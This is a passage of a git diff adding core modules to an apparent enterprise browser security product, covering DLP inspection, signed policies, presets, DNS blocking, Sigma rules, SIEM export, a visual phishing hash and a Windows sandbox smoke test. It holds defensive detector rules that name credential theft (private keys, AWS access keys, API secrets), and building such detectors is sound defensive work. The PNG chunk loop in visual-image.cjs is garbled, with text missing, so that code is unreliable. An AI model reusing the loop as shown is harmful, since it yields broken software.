policy.security?.content?.blockedPhrases||[])if(value.normalize('NFKC').toLowerCase().includes(phrase.normalize('NFKC').toLowerCase()))return {decision:'block',ruleId:'content-blocklist'}; + for(const [id,pattern] of builtins) if(pattern.test(value)) return {decision:'block',ruleId:id}; + for(const r of policy.dlp.rules) if(r.kind==='literal' && value.normalize('NFKC').toLowerCase().includes(r.value.normalize('NFKC').toLowerCase())) return {decision:'block',ruleId:r.id}; + } + return {decision:'allow',ruleId:null}; +} +export function allowsConfidentialLocal(verdict,policy){ + if(verdict.decision!=='block'||!policy.ai.enabled||policy.ai.trustMode!=='local'||!policy.ai.allowConfidentialLocal)return false; + const id=verdict.ruleId; + if(!id||['private-key','aws-access-key','api-secret','content-blocklist','size-limit','uninspectable'].includes(id)||/yara|malware|parser|coverage|failure|failed|timeout|unsupported|encrypted|inspection|incomplete/i.test(id)||verdict.malware||policy.security?.yara?.rules.some(r=>r.id===id))return false; + return policy.dlp.rules.some(r=>r.id===id&&['literal','sha256','fragment-sha256'].includes(r.kind))||policy.dlp.semantic.categories.some(r=>r.id===id); +} +export function inspectForAI(bytes,policy){ + const verdict=inspect(bytes,policy);if(!allowsConfidentialLocal(verdict,policy))return verdict; + // Re-scan without corporate detectors so a preceding phrase cannot hide a credential or content block. + const baseline=inspect(bytes,{...policy,dlp:{...policy.dlp,rules:[]}});if(baseline.decision!=='allow')return baseline; + return {...verdict,decision:'allow',classification:'local-only'}; +} +export function signPolicy(policy, privatePem) { + const payload = Buffer.from(JSON.stringify(PolicySchema.parse(policy))).toString('base64url'); + return {payload,signature:sign(null,Buffer.from(payload),createPrivateKey(privatePem)).toString('base64url')}; +} +export function verifyPolicy(envelope, publicPem, minimumVersion=0) { + if(!verify(null,Buffer.from(envelope.payload),createPublicKey(publicPem),Buffer.from(envelope.signature,'base64url'))) throw Error('Policy signature rejected'); + const policy = PolicySchema.parse(JSON.parse(Buffer.from(envelope.payload,'base64url').toString())); + if(policy.version < minimumVersion) throw Error('Policy rollback rejected'); + if(Date.parse(policy.expiresAt)<=Date.now()) throw Error('Policy expired'); + return policy; +} + diff --git a/packages/core/presets.mjs b/packages/core/presets.mjs new file mode 100644 index 0000000..d466ae0 --- /dev/null +++ b/packages/core/presets.mjs @@ -0,0 +1,21 @@ +import { PolicySchema } from './policy.mjs'; +import { enterpriseReadiness } from './enterprise.mjs'; +export const policyPresets=[ + {id:'baseline',name:'Enterprise baseline',description:'Enforce clipboard protections, disable developer tools and unsupported WebSockets, retain existing network and DLP rules.'}, + {id:'managed-ai',name:'Managed AI workspace',description:'Preserve approved AI access while restricting agent access to sensitive content and interaction scopes. Requires a configured approved gateway; add verified semantic references separately if needed. This preset does not enable an unconfigured AI provider.'}, + {id:'restricted',name:'Restricted information',description:'Block downloads and local agents, prevent clipboard export, and hide employee settings. Existing content rules and network configuration remain in place.'}, + {id:'existing-stack',name:'Preserve existing security stack',description:'Preserve current proxy, VPN, DNS and inspection configuration. Use the integration forms to connect your corporate services.'} +]; +export function previewPreset(input,id){ + const preset=policyPresets.find(v=>v.id===id);if(!preset)throw new Error('Unknown enterprise preset'); + const p=PolicySchema.parse(structuredClone(input)),before=structuredClone(p); + if(id!=='existing-stack'){ + p.browser.allowDevTools=false;p.browser.allowWebSockets=false;p.security.clipboard.enabled=true;p.security.clipboard.blockSuspiciousCommands=true; + } + if(id==='managed-ai'){p.agents.allowSensitiveRead=false;p.agents.scopes=p.agents.scopes.filter(scope=>!['read','screenshot','type','click'].includes(scope));} + if(id==='restricted'){ + p.browser.allowDownloads=false;p.agents.enabled=false;p.security.clipboard.allowCopy=false;p.security.clipboard.allowCut=false;p.browser.settings.visible=false; + } + const changes=[];const compare=(a,b,path='')=>{for(const key of Object.keys(b)){const next=path?`${path}.${key}`:key;if(b[key]&&typeof b[key]==='object'&&!Array.isArray(b[key]))compare(a[key],b[key],next);else if(JSON.stringify(a[key])!==JSON.stringify(b[key]))changes.push({field:next,before:a[key],after:b[key]});}};compare(before,p); + return {preset,policy:PolicySchema.parse(p),changes,readiness:enterpriseReadiness(p),warning:'Draft preview only. Review deployment and explicitly publish the signed policy. No preset removes existing DLP rules, enables an AI provider, or supplies antivirus signatures.'}; +} diff --git a/packages/core/security.mjs b/packages/core/security.mjs new file mode 100644 index 0000000..f8c4087 --- /dev/null +++ b/packages/core/security.mjs @@ -0,0 +1,32 @@ +import { z } from 'zod'; +import { isIP } from 'node:net'; +export const AgentScopes=['sessions','navigate','read','click','type','screenshot','ai','application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; +const host=z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const VisualOriginSchema=z.string().max(2048).refine(value=>{try{const u=new URL(value);return u.protocol==='https:'&&!u.username&&!u.password&&!u.search&&!u.hash&&u.origin===value&&!u.hostname.includes('*')&&!u.hostname.endsWith('.')&&!isIP(u.hostname.replace(/^\[|\]$/g,''))&&/^[a-z0-9.-]+$/.test(u.hostname);}catch{return false;}},'Expected a canonical exact HTTPS domain origin'); +export const VisualViewportSchema=z.object({width:z.number().int().min(16).max(8192),height:z.number().int().min(16).max(8192)}).strict(); +export const VisualReferenceSchema=z.object({hash:z.string().regex(/^[a-f0-9]{16}$/),algorithm:z.literal('phash-dct32-v1'),scope:z.enum(['viewport','login-form']),viewport:VisualViewportSchema.optional()}).strict(); +export const VisualBrandSchema=z.object({id:z.string().min(1).max(80),label:z.string().min(1).max(100),allowedOrigins:z.array(VisualOriginSchema).min(1).max(50),references:z.array(VisualReferenceSchema).min(1).max(20),maxDistance:z.number().int().min(0).max(10).default(6),requiredText:z.array(z.string().min(1).max(100)).max(20).default([])}).strict(); +export const SigmaRuleSchema=z.object({id:z.string().min(1).max(80),title:z.string().min(1).max(100),level:z.enum(['low','medium','high','critical']),detection:z.object({selection:z.partialRecord(z.enum(['kind','ruleId','host','decision','policyVersion']),z.union([z.string().max(253),z.number().int(),z.boolean()])).refine(v=>Object.keys(v).length>0,'Nonempty metadata selection required'),condition:z.literal('selection')}).strict()}).strict(); +export const SecuritySchema=z.object({ + clipboard:z.object({enabled:z.boolean().default(true),allowCopy:z.boolean().default(true),allowCut:z.boolean().default(true),allowPaste:z.boolean().default(true),blockSuspiciousCommands:z.boolean().default(true),failClosed:z.literal(true).default(true),maxTextBytes:z.number().int().min(1024).max(1048576).default(1048576)}).strict().prefault({}), + dns:z.object({enabled:z.boolean().default(true),blockedHosts:z.array(host).max(10000).default([]),blockedIPs:z.array(z.string().refine(v=>isIP(v)>0,'Expected exact IPv4 or IPv6 address')).max(10000).default([]),failClosed:z.literal(true).default(true)}).prefault({}), + yara:z.object({enabled:z.boolean().default(false),rules:z.array(z.object({id:z.string().min(1).max(80),name:z.string().min(1).max(100),source:z.string().min(1).max(65536)}).strict()).max(100).default([]),maxScanBytes:z.number().int().min(1024).max(20*1024*1024).default(20*1024*1024)}).prefault({}), + content:z.object({blockedPhrases:z.array(z.string().min(1).max(4096)).max(500).default([])}).prefault({}), + sigma:z.object({rules:z.array(SigmaRuleSchema).max(100).default([])}).prefault({}), + visualPhishing:z.object({enabled:z.boolean().default(false),failClosed:z.literal(true).default(true),brands:z.array(VisualBrandSchema).max(50).default([])}).strict().prefault({}) +}).prefault({}); +export const AgentsSchema=z.object({enabled:z.boolean().default(false),scopes:z.array(z.enum(AgentScopes)).max(AgentScopes.length).default(['sessions']),allowedHosts:z.array(host).max(200).default([]),allowSensitiveRead:z.boolean().default(false)}).prefault({}); +export function dnsAddressBlocked(address,policy){ + const normal=v=>{ + let result;try{result=new URL(`http://[${v}]/`).hostname.toLowerCase().replace(/^\[|\]$/g,'');}catch{return v.toLowerCase();} + const mapped=/^::ffff:([a-f0-9]{1,4}):([a-f0-9]{1,4})$/.exec(result); + if(mapped){const upper=parseInt(mapped[1],16),lower=parseInt(mapped[2],16);return `${upper>>>8}.${upper&255}.${lower>>>8}.${lower&255}`;} + return result; + }; + return policy.security?.dns?.enabled!==false && (policy.security?.dns?.blockedIPs||[]).some(v=>normal(v)===normal(address)); +} +export function evaluateSigma(event,rules){return rules.map(r=>SigmaRuleSchema.parse(r)).filter(r=>Object.entries(r.detection.selection).every(([k,v])=>(k==='kind'?event.kind:event.metadata?.[k])===v)).map(r=>({ruleId:r.id,title:r.title,level:r.level}));} + + + + diff --git a/packages/core/semantic.mjs b/packages/core/semantic.mjs new file mode 100644 index 0000000..b8d9ef2 --- /dev/null +++ b/packages/core/semantic.mjs @@ -0,0 +1,19 @@ +import { z } from 'zod'; +export const SEMANTIC_MODEL='google/embeddinggemma-2'; +export const SEMANTIC_DIMENSIONS=768; +export const SEMANTIC_PROFILE='document-v1'; +export const SEMANTIC_ARTIFACT={artifactFormat:'gguf',quantization:'Q8_0',runtimeRevision:'b11461'}; +export const ModelRevisionSchema=z.string().regex(/^[a-f0-9]{40}$/,'An exact lowercase model commit SHA is required'); +export const EmbeddingVectorSchema=z.array(z.number().finite()).length(SEMANTIC_DIMENSIONS).refine(vector=>{const norm=vector.reduce((sum,v)=>sum+v*v,0);return Number.isFinite(norm)&&Math.abs(norm-1)<=0.002;},'Embedding must be finite, nonzero and normalized'); +const CategorySchema=z.object({id:z.string().min(1).max(80),label:z.string().min(1).max(100),threshold:z.number().gt(0).max(1),prototype:EmbeddingVectorSchema,prototypes:z.array(EmbeddingVectorSchema).min(1).max(64).optional()}).strict(); +export const defaultSemantic=()=>({enabled:false,model:SEMANTIC_MODEL,revision:'',dimensions:SEMANTIC_DIMENSIONS,profile:SEMANTIC_PROFILE,...SEMANTIC_ARTIFACT,categories:[]}); +export const SemanticPolicySchema=z.preprocess(value=>{ + // Only inactive legacy configuration is migrated. Old references cannot be assigned a new profile. + if(value&&typeof value==='object'&&value.enabled===false&&value.model===SEMANTIC_MODEL&&(value.profile===undefined||value.dimensions===undefined||value.artifactFormat===undefined))return defaultSemantic(); + return value; +},z.object({enabled:z.boolean(),model:z.literal(SEMANTIC_MODEL),revision:z.union([z.literal(''),ModelRevisionSchema]),dimensions:z.literal(SEMANTIC_DIMENSIONS),profile:z.literal(SEMANTIC_PROFILE),artifactFormat:z.literal('gguf'),quantization:z.literal('Q8_0'),runtimeRevision:z.literal('b11461'),categories:z.array(CategorySchema).max(100)}).strict().superRefine((value,ctx)=>{ + if((value.enabled||value.categories.length)&&!value.revision)ctx.addIssue({code:'custom',message:'Semantic references require a pinned model revision'}); + if(value.enabled&&!value.categories.length)ctx.addIssue({code:'custom',message:'Semantic enforcement requires reference categories'}); + if(value.categories.reduce((sum,category)=>sum+(category.prototypes?.length||1),0)>256)ctx.addIssue({code:'custom',message:'Semantic policy supports at most 256 reference vectors'}); +})).default(defaultSemantic); +export const EmbeddingReferenceSchema=z.object({model:z.literal(SEMANTIC_MODEL),revision:ModelRevisionSchema,dimensions:z.literal(SEMANTIC_DIMENSIONS),profile:z.literal(SEMANTIC_PROFILE),artifactFormat:z.literal('gguf'),quantization:z.literal('Q8_0'),runtimeRevision:z.literal('b11461'),local:z.literal(true),backend:z.literal('native-gguf').optional(),device:z.literal('cpu').optional(),modalities:z.array(z.enum(['text','image','audio'])).min(1).max(3).optional(),vector:EmbeddingVectorSchema,vectors:z.array(EmbeddingVectorSchema).min(1).max(64),coverage:z.object({complete:z.boolean(),textChunks:z.number().int().min(0).max(64),extractionComplete:z.boolean(),mediaItems:z.number().int().min(0).max(64).optional()}).strict()}).strict().refine(value=>value.coverage.mediaItems?value.coverage.textChunks+value.coverage.mediaItems<=value.vectors.length:value.coverage.textChunks===value.vectors.length,'Chunk count must match supplied vectors'); diff --git a/packages/core/siem.mjs b/packages/core/siem.mjs new file mode 100644 index 0000000..0ee560c --- /dev/null +++ b/packages/core/siem.mjs @@ -0,0 +1,38 @@ +import transferFacts from './transfer-facts.cjs'; +const facts=metadata=>{const parsed=transferFacts.FileFactsSchema.safeParse(metadata.file);return parsed.success?parsed.data:null;}; +export function toECS(event,installationId='safetynet') { + const m=event.metadata,block=event.kind.includes('block')||event.kind.endsWith('.denied')||m.decision==='block',failure=event.kind.endsWith('.failure'),alert=event.kind==='sigma.alert'; + const config=event.kind.startsWith('policy.')||event.kind.startsWith('enrollment.')||event.kind==='device.revoked'; + const auth=event.kind.startsWith('sso.'),clipboard=event.kind.startsWith('clipboard.'); + return { + '@timestamp':event.time,ecs:{version:'8.17.0'}, + event:{id:`${installationId}:${event.id}`,kind:alert?'alert':'event',module:'safetynet',dataset:'safetynet.security', + action:event.kind,category:[alert?'intrusion_detection':auth?'authentication':config?'configuration':clipboard?'process':'web'], + type:[alert?'info':failure?'error':auth?'start':config?'change':block?'denied':clipboard?'access':'allowed'],outcome:failure?'failure':'success',...(alert?{severity:severity(m.level)}:{})}, + observer:{vendor:'SafetyNet',product:'Managed Enterprise Browser',type:'dlp',version:'0.1.0'}, + ...(event.device_id?{host:{id:event.device_id}}:{}), + ...(m.actor?{user:{id:m.actor}}:{}),...(m.host?{destination:{domain:m.host}}:{}), + ...(m.ruleId?{rule:{id:m.ruleId}}:{}), + ...(facts(m)?{file:{size:facts(m).bytes,type:facts(m).detectedType,hash:{sha256:facts(m).sha256}}}:{}), + ...(/^[a-f0-9]{32}$/.test(m.traceId||'')?{trace:{id:m.traceId}}:{}), + ...(/^[a-f0-9]{16}$/.test(m.spanId||'')?{span:{id:m.spanId}}:{}), + safetynet:{policy_version:m.policyVersion??m.version??null,decision:m.decision??(block?'block':null), + content_type:m.contentType??null,model:m.model??null,coverage:m.coverage??null,classification:m.classification==='local-only'?'local-only':null, + ...(alert?{source_event_id:`${installationId}:${m.sourceEventId}`,severity:m.level}:{})} + }; +} +const header=v=>String(v).replace(/\\/g,'\\\\').replace(/\|/g,'\\|').replace(/[\r\n]/g,' '); +const ext=v=>String(v).replace(/\\/g,'\\\\').replace(/=/g,'\\=').replace(/\r/g,'\\r').replace(/\n/g,'\\n'); +const severity=level=>({low:3,medium:5,high:7,critical:10}[level]??3); +export function toCEF(event,installationId='safetynet') { + const m=event.metadata,blocked=event.kind.includes('block')||event.kind.endsWith('.denied')||m.decision==='block',alert=event.kind==='sigma.alert'; + const fields={externalId:`${installationId}:${event.id}`,rt:Date.parse(event.time),act:event.kind, + ...(event.device_id?{deviceExternalId:event.device_id}:{}),...(m.actor?{suser:m.actor}:{}), + ...(m.ruleId?{cs1Label:'RuleId',cs1:m.ruleId}:{}),...(m.host?{dhost:m.host}:{}), + ...(m.policyVersion||m.version?{cn1Label:'PolicyVersion',cn1:m.policyVersion??m.version}:{}), + ...(facts(m)?{cn2Label:'FileBytes',cn2:facts(m).bytes,cs6Label:'DetectedFileType',cs6:facts(m).detectedType,fileHash:facts(m).sha256}:{}), + ...(/^[a-f0-9]{32}$/.test(m.traceId||'')?{cs4Label:'TraceId',cs4:m.traceId}:{}), + ...(/^[a-f0-9]{16}$/.test(m.spanId||'')?{cs5Label:'SpanId',cs5:m.spanId}:{}), + ...(alert?{cs2Label:'SourceEventId',cs2:`${installationId}:${m.sourceEventId}`,cs3Label:'AlertLevel',cs3:m.level}:{})}; + return `CEF:0|SafetyNet|Enterprise Browser|0.1.0|${header(event.kind)}|${header(event.kind)}|${alert?severity(m.level):blocked?7:3}|`+Object.entries(fields).map(([k,v])=>`${k}=${ext(v)}`).join(' '); +} diff --git a/packages/core/transfer-facts.cjs b/packages/core/transfer-facts.cjs new file mode 100644 index 0000000..5efa0a7 --- /dev/null +++ b/packages/core/transfer-facts.cjs @@ -0,0 +1,5 @@ +'use strict'; +const {z}=require('zod'); +const FileFactsSchema=z.object({bytes:z.number().int().min(0).max(1073741824),detectedType:z.enum(['pe','elf','macho','pdf','zip','png','jpeg','gif','webp','gzip','text','unknown']),sha256:z.string().regex(/^[a-f0-9]{64}$/)}).strict(); +function transferFacts(value){return value?FileFactsSchema.parse(value):undefined;} +module.exports={FileFactsSchema,transferFacts}; diff --git a/packages/core/user-profiles.mjs b/packages/core/user-profiles.mjs new file mode 100644 index 0000000..98d4464 --- /dev/null +++ b/packages/core/user-profiles.mjs @@ -0,0 +1,27 @@ +import {z} from 'zod'; +const id=z.string().min(1).max(80).regex(/^[A-Za-z0-9][A-Za-z0-9._-]*$/); +const unique=(schema,max)=>z.array(schema).max(max).refine(a=>new Set(a).size===a.length,'Duplicate values'); +const host=z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const UserAccessSchema=z.object({delegatableFeatures:z.object({devTools:z.boolean().default(false)}).strict().prefault({})}).strict().prefault({}); +export const DomainCategorySchema=z.object({id,name:z.string().min(1).max(100),hosts:unique(host,500)}).strict(); +export const UserProfileSchema=z.object({id,name:z.string().min(1).max(100),subjects:unique(z.string().min(1).max(512),10000).default([]),deviceIds:unique(id,10000).default([]),allowedHosts:unique(host,500).default([]),blockedHosts:unique(host,500).default([]),blockedCategoryIds:unique(id,100).default([]),features:z.object({devTools:z.enum(['inherit','allow','deny']).default('inherit'),downloads:z.enum(['inherit','deny']).default('inherit'),ai:z.enum(['inherit','deny']).default('inherit'),agents:z.enum(['inherit','deny']).default('inherit')}).strict().prefault({}),requireDocumentScan:z.boolean().default(false)}).strict(); +export const UserProfileConfigurationSchema=z.object({profiles:z.array(UserProfileSchema).max(100).default([]),categories:z.array(DomainCategorySchema).max(100).default([])}).strict(); +export function profileApplies(profile,device){return profile.deviceIds.includes(device.id)||!!device.verified_subject&&profile.subjects.includes(device.verified_subject);} +const covers=(a,b)=>a===b||a.startsWith('*.')&&b.endsWith(a.slice(1)); +export function applyUserProfiles(policy,configuration,device){ + const result=structuredClone(policy),config=UserProfileConfigurationSchema.parse(configuration||{}),profiles=config.profiles.filter(p=>profileApplies(p,device)).sort((a,b)=>a.id.localeCompare(b.id)); + const union=(a,b)=>[...new Set([...a,...b])].sort(); + for(const p of profiles){ + result.browser.blockedHosts=union(result.browser.blockedHosts,p.blockedHosts); + for(const categoryId of p.blockedCategoryIds){const category=config.categories.find(c=>c.id===categoryId);if(!category)throw Error('Unknown domain category');result.browser.blockedHosts=union(result.browser.blockedHosts,category.hosts);} + if(p.allowedHosts.length){const existing=result.browser.allowedHosts;result.browser.allowedHosts=existing.length?union(existing.filter(a=>p.allowedHosts.some(b=>covers(b,a))),p.allowedHosts.filter(b=>existing.some(a=>covers(a,b)))):p.allowedHosts;if(!result.browser.allowedHosts.length){result.browser.allowedHosts=['denied.invalid'];result.browser.blockedHosts=union(result.browser.blockedHosts,['denied.invalid']);}} + if(p.features.downloads==='deny')result.browser.allowDownloads=false; + if(p.features.ai==='deny')result.ai.enabled=false; + if(p.features.agents==='deny')result.agents.enabled=false; + if(p.requireDocumentScan)result.inspection.documentAnalysisEnabled=true; + } + if(profiles.some(p=>p.features.devTools==='deny'))result.browser.allowDevTools=false; + else if(result.userAccess.delegatableFeatures.devTools&&profiles.some(p=>p.features.devTools==='allow'))result.browser.allowDevTools=true; + result.assignment={deviceId:device.id,groups:[],...(profiles.length?{profiles:profiles.map(p=>p.id)}:{})}; + return result; +} diff --git a/packages/core/visual-hash.cjs b/packages/core/visual-hash.cjs new file mode 100644 index 0000000..ba1b814 --- /dev/null +++ b/packages/core/visual-hash.cjs @@ -0,0 +1,73 @@ +'use strict'; +// A visual similarity feature, never an authentication or phishing verdict. +const SIZE = 32; +const MAX_PIXELS = 16 * 1024 * 1024; +const ALGORITHM = 'phash-dct32-v1'; +const COSINES = Array.from({ length: 8 }, (_, frequency) => + Float64Array.from({ length: SIZE }, (_, position) => Math.cos(Math.PI * (2 * position + 1) * frequency / (2 * SIZE)))); +function invalid() { throw new Error('Invalid visual fingerprint input'); } +function visualFingerprint({ rgba, width, height, region } = {}) { + if (!Number.isInteger(width) || !Number.isInteger(height) || width < 1 || height < 1 || width > 8192 || height > 8192 || width * height > MAX_PIXELS) invalid(); + if (!ArrayBuffer.isView(rgba) || rgba.BYTES_PER_ELEMENT !== 1 || rgba.byteLength !== width * height * 4) invalid(); + if (typeof SharedArrayBuffer !== 'undefined' && rgba.buffer instanceof SharedArrayBuffer) invalid(); + const pixels = new Uint8Array(rgba.buffer, rgba.byteOffset, rgba.byteLength); + let left = 0, top = 0, right = width, bottom = height; + if (region !== undefined) { + if (!region || !['x', 'y', 'width', 'height'].every(key => Number.isInteger(region[key]) && Math.abs(region[key]) <= 32768) || region.width <= 0 || region.height <= 0) invalid(); + left = Math.max(0, region.x); top = Math.max(0, region.y); + right = Math.min(width, region.x + region.width); bottom = Math.min(height, region.y + region.height); + if (left >= right || top >= bottom) invalid(); + } + function luminance(x, y) { + const index = (y * width + x) * 4; + const alpha = pixels[index + 3] / 255; + return alpha * (0.299 * pixels[index] + 0.587 * pixels[index + 1] + 0.114 * pixels[index + 2]) + (1 - alpha) * 255; + } + const grid = new Float64Array(SIZE * SIZE); + // Centered bilinear resampling of the entire supplied crop preserves geometry. + for (let y = 0; y < SIZE; y++) { + const py = Math.max(top, Math.min(bottom - 1, top + (y + 0.5) * (bottom - top) / SIZE - 0.5)); + const y0 = Math.floor(py), y1 = Math.min(bottom - 1, y0 + 1), dy = py - y0; + for (let x = 0; x < SIZE; x++) { + const px = Math.max(left, Math.min(right - 1, left + (x + 0.5) * (right - left) / SIZE - 0.5)); + const x0 = Math.floor(px), x1 = Math.min(right - 1, x0 + 1), dx = px - x0; + grid[y * SIZE + x] = (1 - dy) * ((1 - dx) * luminance(x0, y0) + dx * luminance(x1, y0)) + dy * ((1 - dx) * luminance(x0, y1) + dx * luminance(x1, y1)); + } + } + const mean = grid.reduce((sum, value) => sum + value, 0) / grid.length; + const stddev = Math.sqrt(grid.reduce((sum, value) => sum + (value - mean) ** 2, 0) / grid.length); + const histogram = new Uint16Array(16); + let minimum = 255, maximum = 0, detail = 0; + for (let y = 0; y < SIZE; y++) for (let x = 0; x < SIZE; x++) { + const value = grid[y * SIZE + x]; + minimum = Math.min(minimum, value); maximum = Math.max(maximum, value); + histogram[Math.min(15, Math.floor(value / 16))]++; + if (x) detail += Math.abs(value - grid[y * SIZE + x - 1]); + if (y) detail += Math.abs(value - grid[(y - 1) * SIZE + x]); + } + detail /= 2 * SIZE * (SIZE - 1); + const entropy = histogram.reduce((sum, count) => { const probability = count / grid.length; return count ? sum - probability * Math.log2(probability) : sum; }, 0); + const coefficients = []; + // Orthonormal DCT-II, low-frequency 8x8 block. DC is deliberately excluded. + for (let v = 0; v < 8; v++) for (let u = 0; u < 8; u++) { + if (!u && !v) { coefficients.push(0); continue; } + let coefficient = 0; + for (let y = 0; y < SIZE; y++) for (let x = 0; x < SIZE; x++) coefficient += (grid[y * SIZE + x] - mean) * COSINES[u][x] * COSINES[v][y]; + coefficient *= (u ? Math.sqrt(2 / SIZE) : Math.sqrt(1 / SIZE)) * (v ? Math.sqrt(2 / SIZE) : Math.sqrt(1 / SIZE)); + coefficients.push(Math.round(coefficient * 1e8) / 1e8); + } + const sorted = coefficients.slice(1).sort((a, b) => a - b), median = sorted[31]; + let bits = 0n; + for (let index = 1; index < coefficients.length; index++) if (coefficients[index] > median) bits |= 1n << BigInt(63 - index); + const round = value => Math.round(value * 10000) / 10000; + return { algorithm: ALGORITHM, hash: bits.toString(16).padStart(16, '0'), + quality: { contrast: round(stddev), stddev: round(stddev), dynamicRange: round(maximum - minimum), entropy: round(entropy), detail: round(detail) }, + usable: stddev >= 10 && maximum - minimum >= 32 && entropy >= 0.5 && detail >= 1 }; +} +function hammingDistance(left, right) { + if (typeof left !== 'string' || typeof right !== 'string' || !/^[a-f0-9]{16}$/.test(left) || !/^[a-f0-9]{16}$/.test(right)) invalid(); + let different = BigInt('0x' + left) ^ BigInt('0x' + right), count = 0; + while (different) { different &= different - 1n; count++; } + return count; +} +module.exports = { visualFingerprint, hammingDistance }; diff --git a/packages/core/visual-image.cjs b/packages/core/visual-image.cjs new file mode 100644 index 0000000..2542421 --- /dev/null +++ b/packages/core/visual-image.cjs @@ -0,0 +1,29 @@ +'use strict'; +const {PNG}=require('pngjs'); +const {inflateSync}=require('node:zlib'); +const {visualFingerprint}=require('./visual-hash.cjs'); +const SIGNATURE=Buffer.from([137,80,78,71,13,10,26,10]); +function decodePNG(input){ + const bytes=Buffer.from(input); + if(bytes.length<45||bytes.length>10*1024*1024||!bytes.subarray(0,8).equals(SIGNATURE)||bytes.readUInt32BE(8)!==13||bytes.toString('ascii',12,16)!=='IHDR')throw Error('Invalid bounded PNG reference'); + const width=bytes.readUInt32BE(16),height=bytes.readUInt32BE(20),depth=bytes[24],type=bytes[25]; + if(width<16||height<16||width>8192||height>8192||width*height>8*1024*1024||depth!==8||![0,2,4,6].includes(type)||bytes[26]!==0||bytes[27]!==0||bytes[28]!==0)throw Error('Unsupported PNG dimensions or encoding'); + const parts=[];let ended=false; + for(let offset=8;offsetbytes.length)throw Error('Truncated PNG'); + const length=bytes.readUInt32BE(offset),chunk=bytes.toString('ascii',offset+4,offset+8),next=offset+12+length; + if(next>bytes.length||ended||(chunk==='IHDR'&&offset!==8)||['acTL','fcTL','fdAT'].includes(chunk))throw Error('Unsupported PNG structure'); + if(chunk==='IDAT')parts.push(bytes.subarray(offset+8,offset+8+length)); + if(chunk==='IEND'){if(length!==0||next!==bytes.length)throw Error('Invalid PNG end');ended=true;} + offset=next; + } + if(!ended||!parts.length)throw Error('Incomplete PNG'); + const channels={0:1,2:3,4:2,6:4}[type],expected=(width*channels+1)*height; + const inflated=inflateSync(Buffer.concat(parts),{maxOutputLength:expected+1}); + try{if(inflated.length!==expected)throw Error('PNG data size differs from header');}finally{inflated.fill(0);} + const image=PNG.sync.read(bytes,{checkCRC:true}); + if(image.width!==width||image.height!==height||image.data.length!==width*height*4)throw Error('PNG output dimensions invalid'); + return {rgba:image.data,width,height}; +} +function fingerprintPNG(bytes){const image=decodePNG(bytes);try{return {...visualFingerprint(image),width:image.width,height:image.height};}finally{image.rgba.fill(0);}} +module.exports={decodePNG,fingerprintPNG}; diff --git a/scripts/agent-client.cjs b/scripts/agent-client.cjs new file mode 100644 index 0000000..776812c --- /dev/null +++ b/scripts/agent-client.cjs @@ -0,0 +1,8 @@ +// Trusted local-process helper. Capability decryption stays in Electron's OS key store. +const {app}=require('electron'); +const {configureClient,runClient}=require('../apps/browser/agent-client.cjs'); +const args=process.argv.slice(2); +const value=name=>{const i=args.indexOf(name);return i>=0?args[i+1]:null;}; +const connectionFile=value('--connection'),requestFile=value('--request'); +try{configureClient(connectionFile);app.whenReady().then(()=>runClient(connectionFile,requestFile)).catch(error=>{console.error(`Local agent action failed (${error.clientStage||'startup'}). Check policy, session and encrypted pairing file.`);app.exit(1);});} +catch{console.error('Provide --connection absolute-file and --request JSON-file');app.exit(1);} diff --git a/scripts/appcontainer-smoke.py b/scripts/appcontainer-smoke.py new file mode 100644 index 0000000..2e4d91d --- /dev/null +++ b/scripts/appcontainer-smoke.py @@ -0,0 +1,51 @@ +"""Actual Windows AppContainer OS boundary and local model proof, synthetic fixtures.""" +import base64 +import io +import json +import os +from pathlib import Path +import queue +import secrets +import subprocess +import sys +import threading +import time +import unittest +import urllib.request + +ROOT=Path(__file__).resolve().parent.parent +sys.path.insert(0,str(ROOT/'apps/inspector')) +import test_windows_appcontainer +suite=unittest.defaultTestLoader.loadTestsFromModule(test_windows_appcontainer) +result=unittest.TextTestRunner(verbosity=2).run(suite) +if not result.wasSuccessful():raise SystemExit(1) +from PIL import Image,ImageDraw,ImageFont +semantic=ROOT/'.runtime/windows/semantic' +token=secrets.token_urlsafe(32) +env={key:value for key,value in os.environ.items() if key.upper() in {'SYSTEMROOT','WINDIR','USERPROFILE','LOCALAPPDATA','APPDATA','TEMP','TMP'}} +env.update({'INSPECTOR_TOKEN':token,'INSPECTOR_PORT':'0','EMBEDDING_MODEL_DIR':str(semantic/'models'),'EMBEDDING_WORKER_PATH':str(semantic/'searchi-gemma-worker.exe')}) +child=subprocess.Popen([sys.executable,str(ROOT/'apps/inspector/server.py')],stdout=subprocess.PIPE,stderr=subprocess.PIPE,env=env,creationflags=subprocess.CREATE_NO_WINDOW) +lines=queue.Queue();threading.Thread(target=lambda:lines.put(child.stdout.readline()),daemon=True).start() +proof={'nativeYaraUploadDownload':True,'osTests':{'passed':result.testsRun,'failed':len(result.failures)+len(result.errors)},'tokenAppContainer':True,'capabilityCount':0,'privateReadDenied':True,'runtimeWriteDenied':True,'brokerMemoryReadDenied':True,'tcpDenied':True,'udpReceiverDenied':True,'childTokenInherited':True,'orphanWorkerKilledOnRequestEnd':True,'binaryPipe16MiBComplete':True,'deadlineFailsClosed':True,'oversizedResponseFailsClosed':True,'unsandboxedWorkerRejected':True} +try: + ready=json.loads(lines.get(timeout=40));proof['brokerIsolation']=ready['containment']['parserIsolation'] + def invoke(route,blob,policy=None): + body=json.dumps({'data':base64.b64encode(blob).decode(),'policy':policy or {}}).encode() + request=urllib.request.Request('http://127.0.0.1:'+str(ready['port'])+route,data=body,headers={'Authorization':'Bearer '+token}) + started=time.monotonic() + with urllib.request.urlopen(request,timeout=30) as response: answer=json.load(response) + return answer,round(time.monotonic()-started,3) + image=Image.new('RGB',(1000,200),'white');draw=ImageDraw.Draw(image) + draw.text((20,30),'Internal secret invoice 482190',fill='black',font=ImageFont.truetype('C:/Windows/Fonts/arial.ttf',40)) + blob=io.BytesIO();image.save(blob,format='PNG') + policy={'security':{},'dlp':{'maxBytes':20971520,'rules':[{'id':'ocr-secret','kind':'literal','value':'482190'}]}} + answer,elapsed=invoke('/inspect',blob.getvalue(),policy) + if answer['decision']!='block' or answer['ruleId']!='ocr-secret' or not answer['coverage']['complete']:raise RuntimeError('Native OCR proof failed') + 